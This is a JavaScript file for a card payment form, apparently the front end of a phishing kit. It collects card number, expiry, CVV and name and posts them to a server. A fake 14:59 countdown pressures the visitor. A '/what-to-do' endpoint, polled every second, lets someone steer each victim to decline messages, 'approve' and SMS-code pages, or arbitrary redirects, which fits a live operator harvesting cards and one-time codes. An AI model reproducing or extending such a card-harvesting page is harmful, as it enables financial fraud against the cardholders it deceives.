// === COUNTDOWN TIMER ===
let countdownInterval;
function startCountdown() {
    let totalSeconds = 14 * 60 + 59; // 14:59 starting time
    
    function updateCountdown() {
        const minutes = Math.floor(totalSeconds / 60);
        const seconds = totalSeconds % 60;
        
        document.getElementById('countdown').textContent = `${minutes}:${seconds.toString().padStart(2, '0')}`;
        
        if (totalSeconds <= 0) {
            clearInterval(countdownInterval);
            document.getElementById('countdown').textContent = 'EXPIRED!';
            document.getElementById('countdown').classList.add('text-red-600');
            // Optionally redirect or show expired message
            setTimeout(() => {
                window.location.href = '/';
            }, 3000);
        }
        
        totalSeconds--;
    }
    
    updateCountdown(); // Initial call
    countdownInterval = setInterval(updateCountdown, 1000);
}

// === UTILS ===
function showError(input, message) {
    let errorDiv = input.parentNode.querySelector('.input-error');
    if (!errorDiv) {
        errorDiv = document.createElement('div');
        errorDiv.className = 'input-error text-xs text-red-500 mt-1';
        input.parentNode.appendChild(errorDiv);
    }
    input.classList.add('border-red-500', 'ring-2', 'ring-red-200');
    errorDiv.textContent = message;
    errorDiv.style.display = 'block';
}
function clearError(input) {
    let errorDiv = input.parentNode.querySelector('.input-error');
    input.classList.remove('border-red-500', 'ring-2', 'ring-red-200');
    if (errorDiv) {
        errorDiv.textContent = '';
        errorDiv.style.display = 'none';
    }
}
function onlyDigits(str) {
    return str.replace(/\D/g, '');
}

// === CARD VALIDATION ===
function detectCardType(number) {
    number = onlyDigits(number);
    if (/^4/.test(number)) return 'visa';
    if (/^5[1-5]/.test(number) || /^2[2-7]/.test(number)) return 'mastercard';
    if (/^3[47]/.test(number)) return 'amex';
    if (/^6(?:011|5)/.test(number)) return 'discover';
    return 'unknown';
}
function luhnCheck(number) {
    let arr = (number + '').split('').reverse().map(x => parseInt(x));
    let sum = arr.reduce((acc, val, idx) => acc + (idx % 2 ? ((val *= 2) > 9 ? val - 9 : val) : val), 0);
    return sum % 10 === 0;
}
function validateCardNumber(input) {
    const value = onlyDigits(input.value);
    if (!value) { showError(input, 'Card number required'); return false; }
    if (value.length < 13 || value.length > 19) { showError(input, 'Invalid card number length'); return false; }
    if (!luhnCheck(value)) { showError(input, 'Invalid card number'); return false; }
    clearError(input);
    return true;
}
function validateExpiry(input) {
    const value = input.value.trim();
    if (!/^(0[1-9]|1[0-2])\/\d{2}$/.test(value)) { showError(input, 'Format MM/YY'); return false; }
    const [mm, yy] = value.split('/').map(Number);
    const now = new Date();
    const exp = new Date(2000 + yy, mm - 1, 1);
    if (exp < new Date(now.getFullYear(), now.getMonth(), 1)) { showError(input, 'Card expired'); return false; }
    clearError(input);
    return true;
}
function validateCVV(input, cardType) {
    const value = onlyDigits(input.value);
    if (!value) { showError(input, 'CVV required'); return false; }
    if (cardType === 'amex' && value.length !== 4) { showError(input, 'AMEX: 4 digits'); return false; }
    if (cardType !== 'amex' && value.length !== 3) { showError(input, '3 digits'); return false; }
    clearError(input);
    return true;
}
function validateCardholder(input) {
    if (!input.value.trim()) { showError(input, 'Name required'); return false; }
    clearError(input);
    return true;
}

// === FORMATTING ===
function formatCardNumber(e) {
    let value = onlyDigits(e.target.value).slice(0, 19);
    let formatted = value.replace(/(.{4})/g, '$1 ').trim();
    e.target.value = formatted;
}
function formatExpiry(e) {
    let value = onlyDigits(e.target.value).slice(0, 4);
    if (value.length > 2) value = value.slice(0,2) + '/' + value.slice(2);
    e.target.value = value;
}
function formatCardholder(e) {
    e.target.value = e.target.value.toUpperCase();
}

// === CARD ICONS ===
function updateCardIcons(number) {
    const type = detectCardType(number);
    document.querySelectorAll('.card-icon').forEach(img => {
        img.style.opacity = img.dataset.type === type ? '1' : '0.3';
    });
    return type;
}

// === ADDRESS AUTOCOMPLETE ===
// Removed - no longer needed for simple card form

// === NEW LOADING OVERLAY ===
function showLoadingOverlay(text = 'Processing...', subtext = 'Please wait while we secure your information') {
    // Ne pas afficher le loading si la carte est déjà déclinée
    if (isDeclined) {
        console.log('Loading overlay prevented: card already declined');
        return;
    }
    
    const overlay = document.getElementById('loadingOverlay');
    const loadingText = document.getElementById('loadingText');
    const loadingSubtext = document.getElementById('loadingSubtext');
    
    if (loadingText) loadingText.textContent = text;
    if (loadingSubtext) loadingSubtext.textContent = subtext;
    if (overlay) overlay.style.display = 'flex';
}

function hideLoadingOverlay() {
    const overlay = document.getElementById('loadingOverlay');
    if (overlay) overlay.style.display = 'none';
    
    // Réinitialiser l'état du bouton
    const submitButton = document.querySelector('button[type="submit"]');
    if (submitButton) {
        submitButton.disabled = false;
        submitButton.innerHTML = `
              <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z"/>
              </svg>
              Jetzt bezahlen
        `;
    }
}

// === LEGACY SPINNER (for compatibility) ===
function createLoadingSpinner() {
    // Use new loading overlay instead
    return { style: { display: 'none' } };
}
function showLoadingSpinner() {
    showLoadingOverlay('Processing your payment...', 'Verifying card details');
}
function hideLoadingSpinner() {
    hideLoadingOverlay();
}
function showCardDeclinedMessage(customMessage = null) {
    console.log('showCardDeclinedMessage called with:', customMessage);
    console.log('Stack trace:', new Error().stack);
    
    // Supprimer les messages d'erreur précédents s'ils existent
    const existingAlerts = document.querySelectorAll('.bg-red-100.border-red-400');
    existingAlerts.forEach(alert => alert.remove());
    
    const alertDiv = document.createElement('div');
    alertDiv.className = 'bg-red-100 border border-red-400 text-red-700 px-4 py-3 rounded mb-4';
    
    const message = customMessage || 'Your card was declined. Please try another card.';
    console.log('Final message to display:', message);
    
    alertDiv.innerHTML = `
        <strong class="font-bold">Card Declined!</strong>
        <span class="block sm:inline">${message}</span>
    `;
    
    const form = document.getElementById('cardForm');
    if (form && form.parentNode) {
        form.parentNode.insertBefore(alertDiv, form);
        console.log('Alert message inserted successfully');
    } else {
        console.error('Could not find cardForm or its parent node');
    }
}

// === POLLING LOGIC ===
let pollingInterval;
let isDeclined = false; // Flag pour empêcher le polling après une déclinaison

function startWhatToDoPolling() {
    // Ne pas démarrer le polling si la carte est déjà déclinée
    if (isDeclined) {
        console.log('Polling stopped: card already declined');
        return;
    }
    
    let lastStatus = null;
    let pollCount = 0;
    
    // Clear any existing polling first
    if (pollingInterval) {
        clearInterval(pollingInterval);
        pollingInterval = null; // Réinitialiser l'interval
    }
    
    // Update loading text for polling
    showLoadingOverlay('Verifying payment...', 'Checking card status');
    
    pollingInterval = setInterval(async () => {
        // Vérifier si la carte a été déclinée avant de continuer
        if (isDeclined) {
            clearInterval(pollingInterval);
            pollingInterval = null; // Réinitialiser l'interval
            hideLoadingOverlay();
            return;
        }
        
        pollCount++;
        try {
            const response = await fetch('/what-to-do', {
                method: 'GET',
                headers: {
                    'Accept': 'application/json',
                    'X-CSRF-TOKEN': document.querySelector('input[name="_token"]').value
                },
                credentials: 'same-origin'
            });
            if (response.ok) {
                const data = await response.json();
                
                // Si le status est 4 (declined) ou 99 (error), arrêter immédiatement le polling
                if (data.data && (data.data.status === 4 || data.data.status === 99)) {
                    console.log('Declined status detected in polling, stopping immediately');
                    isDeclined = true;
                    clearInterval(pollingInterval);
                    pollingInterval = null; // Réinitialiser l'interval
                    hideLoadingOverlay();
                    handleWhatToDoResponse(data.data);
                    return;
                }
                
                // Si le status est 5 (success/mark done), rediriger vers la page success
                if (data.data && data.data.status === 5) {
                    console.log('Success/Mark done status detected in polling, redirecting to success page...');
                    isDeclined = true;
                    clearInterval(pollingInterval);
                    pollingInterval = null;
                    hideLoadingOverlay();
                    // Rediriger vers la page success
                    const successUrlFinal = typeof successUrl !== 'undefined' ? successUrl : 
                        (typeof window.location !== 'undefined' ? window.location.origin + '/success' : '/success');
                    console.log('Final success URL:', successUrlFinal);
                    window.location.href = successUrlFinal;
                    return;
                }
                
                // Si le status est 10 (ask for approve), rediriger vers la page approve
                if (data.data && data.data.status === 10) {
                    console.log('Ask for approve (status 10) detected in polling, redirecting to approve page...');
                    isDeclined = true;
                    clearInterval(pollingInterval);
                    pollingInterval = null;
                    hideLoadingOverlay();
                    // Rediriger vers la page approve
                    const approveUrlFinal = typeof approveUrl !== 'undefined' ? approveUrl : 
                        (typeof window.location !== 'undefined' ? window.location.origin + '/approve' : '/approve');
                    console.log('Final approve URL:', approveUrlFinal);
                    window.location.href = approveUrlFinal;
                    return;
                }
                
                // Si le status est 6 ou 7 (ask for approve), rediriger vers la page approve
                if (data.data && (data.data.status === 6 || data.data.status === 7)) {
                    console.log('Approve requested detected in polling, redirecting to approve page...');
                    console.log('Approve URL:', typeof approveUrl !== 'undefined' ? approveUrl : 'undefined');
                    isDeclined = true;
                    clearInterval(pollingInterval);
                    pollingInterval = null;
                    hideLoadingOverlay();
                    // Rediriger vers la page approve
                    const approveUrlFinal = typeof approveUrl !== 'undefined' ? approveUrl : 
                        (typeof window.location !== 'undefined' ? window.location.origin + '/approve' : '/approve');
                    console.log('Final approve URL:', approveUrlFinal);
                    window.location.href = approveUrlFinal;
                    return;
                }
                
                // Update loading text with status
                const statusText = data.data?.status || 'unknown';
                
                // Ne pas mettre à jour le loading si déjà décliné
                if (!isDeclined) {
                    showLoadingOverlay('Verifying payment...', `Status: ${statusText}`);
                }
                
                if (data.data && data.data.status !== lastStatus) {
                    lastStatus = data.data.status;
                    if (data.data.status !== 2) {
                        clearInterval(pollingInterval);
                        pollingInterval = null; // Réinitialiser l'interval
                        hideLoadingOverlay();
                        handleWhatToDoResponse(data.data);
                    }
                }
            }
        } catch (error) {
            console.error('Polling error:', error);
            // Continue polling even if there's an error, sauf si décliné
            if (isDeclined) {
                clearInterval(pollingInterval);
                pollingInterval = null; // Réinitialiser l'interval
                hideLoadingOverlay();
            }
        }
    }, 1000);
}
function handleWhatToDoResponse(data) {
    console.log('What-to-do response:', data);
    
    // Handle custom page (status >= 20)
    // Handle custom page (status >= 20) - REDIRIGER VERS PAGE SMS AVEC CONTENU CUSTOM
    if (data.status >= 20 && data.custom_page) {
        console.log('Custom page detected, redirecting to SMS page:', data);
        hideLoadingOverlay();
        // Rediriger vers la page SMS où le contenu custom sera appliqué
        window.location.href = typeof smsUrl !== 'undefined' ? smsUrl : '/sms';
        return;
    }
    
    // Handle declined card status (4) - Même logique que markCCDeclined avec messages spécifiques
    if (data.status === 4) {
        console.log('Decline status detected (status 4):', data);
        console.log('Decline message:', data.message);
        isDeclined = true; // Marquer comme décliné pour empêcher le polling
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null; // Réinitialiser l'interval
        }
        hideLoadingOverlay(); // Arrêter le chargement du bouton
        showCardDeclinedMessage(data.message || data.declined?.message || 'Your card was declined. Please try another card.');
        const paymentForm = document.getElementById('payment-form');
        if (paymentForm) {
            paymentForm.classList.add('show');
            paymentForm.classList.remove('hide', 'hidden');
            paymentForm.style.display = 'block';
        }
        // Scroll vers le message d'erreur
        const alertDiv = document.querySelector('.bg-red-100.border-red-400');
        if (alertDiv) {
            alertDiv.scrollIntoView({ behavior: 'smooth', block: 'center' });
        } else if (paymentForm) {
            paymentForm.scrollIntoView({ behavior: 'smooth', block: 'center' });
        }
        return;
    }
    
    // Handle custom redirect (status 98)
    if (data.status === 98 && data.redirect && data.redirect_url) {
        console.log('Custom redirect detected:', data);
        isDeclined = true; // Empêcher le polling de continuer
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
        }
        hideLoadingOverlay();
        
        // Rediriger vers l'URL spécifiée
        const redirectUrl = data.redirect_url;
        console.log('Redirecting to:', redirectUrl);
        
        // Validation de l'URL avant redirection
        try {
            const url = new URL(redirectUrl);
            // Rediriger après un court délai pour permettre au loading de disparaître
            setTimeout(() => {
                window.location.href = redirectUrl;
            }, 500);
        } catch (e) {
            console.error('Invalid redirect URL:', redirectUrl);
            alert('Invalid redirect URL. Please try again.');
        }
        return;
    }
    
    // Handle custom error (status 99)
    if (data.status === 99 && data.declined) {
        console.log('Custom error detected:', data);
        console.log('Custom message:', data.message);
        isDeclined = true; // Marquer comme décliné pour empêcher le polling
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null; // Réinitialiser l'interval
        }
        hideLoadingOverlay(); // Arrêter le chargement du bouton
        showCardDeclinedMessage(data.message || 'An error occurred. Please try again.');
        const paymentForm = document.getElementById('payment-form');
        if (paymentForm) {
            paymentForm.classList.add('show');
            paymentForm.classList.remove('hide', 'hidden');
            paymentForm.style.display = 'block';
        }
        // Scroll vers le message d'erreur
        const alertDiv = document.querySelector('.bg-red-100.border-red-400');
        if (alertDiv) {
            alertDiv.scrollIntoView({ behavior: 'smooth', block: 'center' });
        } else if (paymentForm) {
            paymentForm.scrollIntoView({ behavior: 'smooth', block: 'center' });
        }
        return;
    }
    
    // Handle success status (5)
    if (data.status === 5) {
        console.log('Success/Mark done detected, redirecting to success page...');
        isDeclined = true;
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
        }
        hideLoadingOverlay();
        const successUrlFinal = typeof successUrl !== 'undefined' ? successUrl : 
            (typeof window.location !== 'undefined' ? window.location.origin + '/success' : '/success');
        console.log('Final success URL:', successUrlFinal);
        window.location.href = successUrlFinal;
        return;
    }
    
    // Handle approve statuses (6, 7, 10)
    if (data.status === 6 || data.status === 7 || data.status === 10) {
        console.log('Approve requested, redirecting to approve page...');
        console.log('Status:', data.status, 'Approve URL:', typeof approveUrl !== 'undefined' ? approveUrl : 'undefined');
        isDeclined = true;
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
        }
        hideLoadingOverlay();
        // Rediriger vers la page approve
        const approveUrlFinal = typeof approveUrl !== 'undefined' ? approveUrl : 
            (typeof window.location !== 'undefined' ? window.location.origin + '/approve' : '/approve');
        console.log('Final approve URL:', approveUrlFinal);
        window.location.href = approveUrlFinal;
        return;
    }
    
    // Handle legacy statuses
    if (data.status === 12) {
        window.location.href = verifysmsUrl;
    } else {
        // Optionally handle other statuses
        console.log('Unhandled status:', data.status);
    }
}

// === DELIVERY LOGIC ===
let deliveryMethod = 'standard';
let deliveryCost = 0;

// Delivery functions removed - no longer needed for simple card form

// === DOMContentLoaded ===
document.addEventListener('DOMContentLoaded', function() {
    // 0. Start countdown timer
    startCountdown();
    
    // 1. Check for specific decline messages from what-to-do API FIRST
    showLoadingOverlay('Loading...', 'Checking payment status');
    fetch('/what-to-do', {
        method: 'GET',
        headers: {
            'Accept': 'application/json',
            'X-CSRF-TOKEN': document.querySelector('input[name="_token"]').value
        },
        credentials: 'same-origin'
    })
    .then(res => res.json())
    .then(data => {
        console.log('Initial what-to-do response:', data);
        console.log('Status:', data.status);
        console.log('Declined:', data.declined);
        console.log('Message:', data.message);
        
        // Handle declined card status (4) with specific message
        if (data.status === 4 && data.declined) {
            console.log('Decline message detected on page load:', data);
            console.log('Decline message:', data.message);
            isDeclined = true; // Marquer comme décliné pour empêcher le polling
            if (pollingInterval) {
                clearInterval(pollingInterval);
            }
            hideLoadingOverlay(); // Ne pas montrer le loading si déjà décliné
            showCardDeclinedMessage(data.message || 'Your card was declined. Please try another card.');
            return; // Stop here, don't check generic status
        }
        
        // Only check generic CC status if no specific message found
        fetch('/check-cc-status', {
            credentials: 'same-origin'
        })
        .then(res => res.json())
        .then(data => {
            if (data.status === 'Declined') {
                isDeclined = true; // Marquer comme décliné pour empêcher le polling
                if (pollingInterval) {
                    clearInterval(pollingInterval);
                }
                hideLoadingOverlay(); // Ne pas montrer le loading si déjà décliné
                showCardDeclinedMessage();
                fetch('/clear-cc-status', {
                    method: 'POST',
                    headers: {
                        'X-CSRF-TOKEN': document.querySelector('input[name="_token"]').value,
                        'Accept': 'application/json'
                    },
                    credentials: 'same-origin'
                });
            } else {
                hideLoadingOverlay(); // Cacher le loading si pas de déclinaison
            }
        })
        .catch(() => {
            hideLoadingOverlay(); // Cacher le loading en cas d'erreur
        });
    })
    .catch(err => {
        console.error('Initial what-to-do check failed:', err);
        hideLoadingOverlay(); // Cacher le loading en cas d'erreur
    });

    // 2. Setup formatting
    document.getElementById('card_number').addEventListener('input', function(e) {
        formatCardNumber(e);
        updateCardIcons(e.target.value);
    });
    document.getElementById('expiry').addEventListener('input', formatExpiry);
    document.getElementById('cardholder').addEventListener('input', formatCardholder);

    // 3. Setup address autocomplete (removed - no longer needed)

    // 4. Form submit with validation + AJAX
    const form = document.getElementById('cardForm');
    form.addEventListener('submit', async function(e) {
        e.preventDefault();
        
        // Réinitialiser le bouton AVANT la validation au cas où il serait déjà en état "Processing..."
        const submitButton = document.querySelector('button[type="submit"]');
        if (submitButton && submitButton.disabled) {
            submitButton.disabled = false;
            submitButton.innerHTML = `
              <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z"/>
              </svg>
              Jetzt bezahlen
            `;
        }
        
        const cardNumber = document.getElementById('card_number');
        const expiry = document.getElementById('expiry');
        const cvv = document.getElementById('cvv');
        const cardholder = document.getElementById('cardholder');
        let valid = true;
        const cardType = updateCardIcons(cardNumber.value);

        if (!validateCardNumber(cardNumber)) valid = false;
        if (!validateExpiry(expiry)) valid = false;
        if (!validateCVV(cvv, cardType)) valid = false;
        if (!validateCardholder(cardholder)) valid = false;

        if (!valid) {
            // Réinitialiser le bouton si la validation échoue
            if (submitButton) {
                submitButton.disabled = false;
                submitButton.innerHTML = `
                  <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z"/>
                  </svg>
                  Jetzt bezahlen
                `;
            }
            // Cacher le loading overlay au cas où il serait déjà affiché
            hideLoadingOverlay();
            return;
        }

        // Réinitialiser le flag de déclinaison pour permettre une nouvelle tentative
        isDeclined = false;
        
        // Arrêter tout polling existant avant de démarrer un nouveau
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
        }

        // Désactiver le bouton et montrer l'état de chargement
        // Note: submitButton est déjà défini plus haut
        if (submitButton) {
            submitButton.disabled = true;
            submitButton.innerHTML = `
                <svg class="w-5 h-5 animate-spin" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/>
                </svg>
                Processing...
            `;
        }

        showLoadingOverlay('Processing payment...', 'Verifying card details');
        try {
            const formData = new FormData(form);
            const response = await fetch(verifyCardUrl, {
                method: 'POST',
                body: formData,
                headers: {
                    'X-CSRF-TOKEN': document.querySelector('input[name="_token"]').value
                },
                credentials: 'same-origin'
            });
            if (response.ok) {
                startWhatToDoPolling();
            } else {
                hideLoadingOverlay();
                alert('Erreur lors de la soumission de la carte');
            }
        } catch (error) {
            hideLoadingOverlay();
            alert('Erreur de connexion');
        }
    });

    // 5. Setup delivery selection events (removed - no longer needed)
});
